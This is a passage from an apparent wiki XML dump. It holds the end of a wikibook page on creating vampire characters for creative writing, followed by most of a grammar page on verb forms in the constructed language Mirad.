It is as if the horrific stories about the tragic events that happened to some people, horror stories that were traditionally passed orally from person to person, started to pass culturally from one region to another region, finally emerging from the author's imagination in tangible, written form, vastly distorted, yet eerily relevant, with the mysterious ability to capture the imagination of young readers. 
&lt;br&gt;
 &lt;br&gt; &lt;u&gt;'''Creative Writing'''&lt;/u&gt;

Imaginative young readers today could greatly benefit from Creative Writing classes offered in many Public High Schools.&lt;br&gt;  
&lt;br&gt;
Creative writing classes are controversial classes in academia, yet in general, helpful to students in public schools. Creative writing programs are developing. In many public schools, creative writing classes are related to Language classes, and Art classes. &lt;br&gt;
&lt;br&gt;
'''Creative writing''' is not a discipline in academic fields. &lt;br&gt;
&lt;br&gt;
'''&lt;u&gt;Create Vampire&lt;/u&gt;''' is a free wikibook intended as a guide, and as a non-fictional resource for people fascinated by vampires and similar monsters! &lt;br&gt;
&lt;br&gt;   
 &lt;br&gt; &lt;u&gt;'''TIP:'''&lt;/u&gt; Before creating a vampire character, you could ask yourself if you want your vampire to reflect stories based in Folklore, gathered from events that happened to actual people, or you may prefer to create a vampire from your imagination. Perhaps a imaginary creation who possesses non-human traits? 


 '''&lt;u&gt;Create Vampires&lt;/u&gt;?''' 
&lt;br&gt;
In a world where people desire to make a lot of money, in the shortest amount of time. &lt;br&gt;
In a world where bank robbery is illegal, yet ''grave-robbery'' is not...? &lt;br&gt;
In a world populated by individuals who seemed ruled by greed, vampires and other monsters are sometimes spoken into some tangible, often frightening existence. &lt;br&gt;
&lt;br&gt;
If we exist in a world where characters could be spoken into existence, and allowed to linger in unusual fields bound and un-bound... If characters could linger, losing human characteristics and form, linger like ghost populating flat white spaces, if characters could attain atypical motion, yet exist like zombies without the ability to reason, or exist like demons without kindness, or exist like vampires, with constant hunger, sharing kindness with the hungry ghost who linger with desires to be fed, if such empty planes were populated by hungry, unreasoning, lingering atypical creations, mere works of the imagination, would their monster's tale be worthy of note?

&lt;br&gt;
Link:  [[Create Vampires/Why Create Vampires]]?

Link: [[Create Vampires /Vam-Pai-Yer]] '''&quot;How do you spell vampire?&quot;'''
&lt;br&gt;
&lt;br&gt;
=== Reference: ===
 
1. &quot;History&quot; April 15, 2026 In Portal:History https://en.wikipedia.org/wiki/Portal:History
&lt;br&gt;
&lt;br&gt;
2. Schlinkert, Jana C. (2002) p.30 
&lt;br&gt;


{{BookCat}}</text>
      <sha1>pea05w46ylfo5kdsogcjl54se4wj4wa</sha1>
    </revision>
  </page>
  <page>
    <title>Mirad Grammar/Verbs</title>
    <ns>0</ns>
    <id>417649</id>
    <revision>
      <id>4670490</id>
      <parentid>4669466</parentid>
      <timestamp>2026-09-16T18:41:03Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Derived from Adjectives */</comment>
      <origin>4670490</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="135815" sha1="t13k9jhavj8zjquxk4l69oq3tvwb26r" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

